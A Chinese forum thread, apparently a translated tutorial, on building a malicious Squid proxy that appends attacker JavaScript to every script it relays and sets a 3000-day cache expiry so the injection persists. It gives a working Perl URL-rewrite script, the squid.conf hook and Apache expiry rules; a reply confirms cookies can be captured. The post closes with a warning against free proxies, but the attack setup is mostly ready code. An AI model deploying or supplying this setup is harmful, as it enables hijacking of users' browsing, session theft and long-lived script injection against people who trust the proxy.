架构师_程序员_码农网

 找回密码
 注册[Register]

QQ登录

只需一步,快速开始

搜索
查看: 13170|回复: 3

[安全交流] 利用代理服务器劫持用户隐私数据

[复制链接]
发表于 2015-1-19 02:34:56 | 显示全部楼层 |阅读模式
本帖最后由 默小文 于 2015-6-7 23:19 编辑

t01d3ee81b5bc5be68e.png
简单的修改SQUID的配置就可以做到
什么是SQUID?
Squid是一个缓存Internet数据的软件,其接收用户的下载申请,并自动处理所下载的数据。当一个用户想要下载一个主页时,可以向Squid发出一个申请,要Squid代替其进行下载,然后Squid连接所申请网站并请求该主页,接着把该主页传给用户同时保留一个备份,当别的用户申请同样的页面时,Squid把保存的备份立即传给用户,使用户觉得速度相当快。Squid可以代理HTTP、FTP、GOPHER、SSL和WAIS等协议并且,Squid可以自动地进行处理,可以根据自己的需要设置Squid,使之过滤掉不想要的东西。
Squid可以工作在很多的操作系统中,如AIX、Digital、UNIX、FreeBSD、HP-UX、Irix、Linux、NetBSD、Nextstep、SCO、Solaris、OS/2等。
实现方法非常简单:
1.在一台Linux服务器上安装Squid。
2.修改服务端的代码,在所有传输过来的javascrip去掉t代码中都插入一段我们的代码并发送出去。
3.设置我们修改过的js文件的缓存时间尽可能的高。
这个方法同样适用于开启了ssl的网站,如果网站加载了不安全的资源(比如一个http站点的jquery),大多数浏览器会给出提醒,但很少有人关注。
Chema说在他发布代理服务器的几天之后就有超过5000人适用他的代理,大多数人用它做一些不好的事情,因为自己使用了代理,所以认为是匿名且安全的,但是他们万万没想到代理服务器也会做坏事。
制作你的恶意代理服务器
如果你已经有了squid代理服务器,你还需要一个web服务器,例如apache。
第一步 创建一个Payload
我使用一个简单的脚本作为演示,把所有的超链接指向我的网站。
/etc/squid/payload.js

[mw_shl_code=javascrip去掉t,true]for(var i=0;i<document.getelementsbytagname('a').length;i++)
document.getElementsByTagName('a').href = "https://blog.haschek.at";[/mw_shl_code]
第二步 编写脚本感染所有的js文件
/etc/squid/poison.pl
[mw_shl_code=perl,true]
#!/usr/bin/perl
$|=1;
$count = 0;
$pid = $$;
while(<>)
{
  chomp $_;
  if($_ =- /(.*.js)/i)
  {
        $url = $1;
        system("/usr/bin/wget","-q","-O","/var/www/tmp/$pid-$count.js","$url");
        system("chmod o+r /var/www/tmp/$pid-$count.js");
        system("cat /etc/squid/payload.js >> /var/www/tmp/$pid-$count.js");
        print "http://127.0.0.1:80/tmp/$pid-$count.js";
  }
  else
  {
        print "$_";
  }
$count++;
}[/mw_shl_code]
这个脚本用wget获取页面原始的javascrip去掉t文件,然后添加/etc/squid/payload.js中的代码并把修改后的文件发送到客户端,同时你需要创建/var/www/tmp目录,并允许squid在其中写文件。这个目录会存储修改后的js文件。


第三步 把上面的脚本和Squid结合起来
在/etc/squid/squid.conf中添加
[mw_shl_code=html,true]url_rewrite_program /etc/squid/poison.pl[/mw_shl_code]
第四步 使缓存永不失效
/var/www/tmp/.htaccess
[mw_shl_code=html,true]ExpiresActive On
ExpiresDefault "access plus 3000 days"[/mw_shl_code]
这将告诉apache给他一个超长的过期时间,直到用户清理他们的缓存。


如果你连接了这个代理,你点击任何一个超链接都会跳转到我的网站,即使你之后不再使用这个代理,缓存也依然存在。我只是使用了一个不具有攻击性的payload,利用这个方法,黑客能做的事情还有更多。所以,提醒自己和朋友谨慎使用免费的代理。





上一篇:绘声绘影上千个FLASH透明素材
下一篇:安卓机分分钟瞬变iPhone、iPad (超简单)
码农网,只发表在实践过程中,遇到的技术难题,不误导他人。
发表于 2015-1-19 08:48:45 | 显示全部楼层
是啊,访问的所有数据都经过代理服务器,包括post get提交都能截取到,何来隐私可言
码农网,只发表在实践过程中,遇到的技术难题,不误导他人。
发表于 2015-1-19 09:53:53 | 显示全部楼层
能截取到我的cookies不?
码农网,只发表在实践过程中,遇到的技术难题,不误导他人。
 楼主| 发表于 2015-1-20 14:36:06 | 显示全部楼层
武软问问团 发表于 2015-1-19 09:53
能截取到我的cookies不?

能                                             
码农网,只发表在实践过程中,遇到的技术难题,不误导他人。
您需要登录后才可以回帖 登录 | 注册[Register]

本版积分规则

免责声明:
码农网所发布的一切软件、编程资料或者文章仅限用于学习和研究目的;不得将上述内容用于商业或者非法用途,否则,一切后果请用户自负。本站信息来自网络,版权争议与本站无关。您必须在下载后的24个小时之内,从您的电脑中彻底删除上述内容。如果您喜欢该程序,请支持正版软件,购买注册,得到更好的正版服务。如有侵权请邮件与我们联系处理。

Mail To:help@itsvse.com

QQ|手机版|小黑屋|架构师 ( 鲁ICP备14021824号-2 )|网站地图

GMT+8, 2025-6-16 13:39

Powered by Discuz! X3.4

Copyright © 2001-2021, Tencent Cloud.

快速回复 返回顶部 返回列表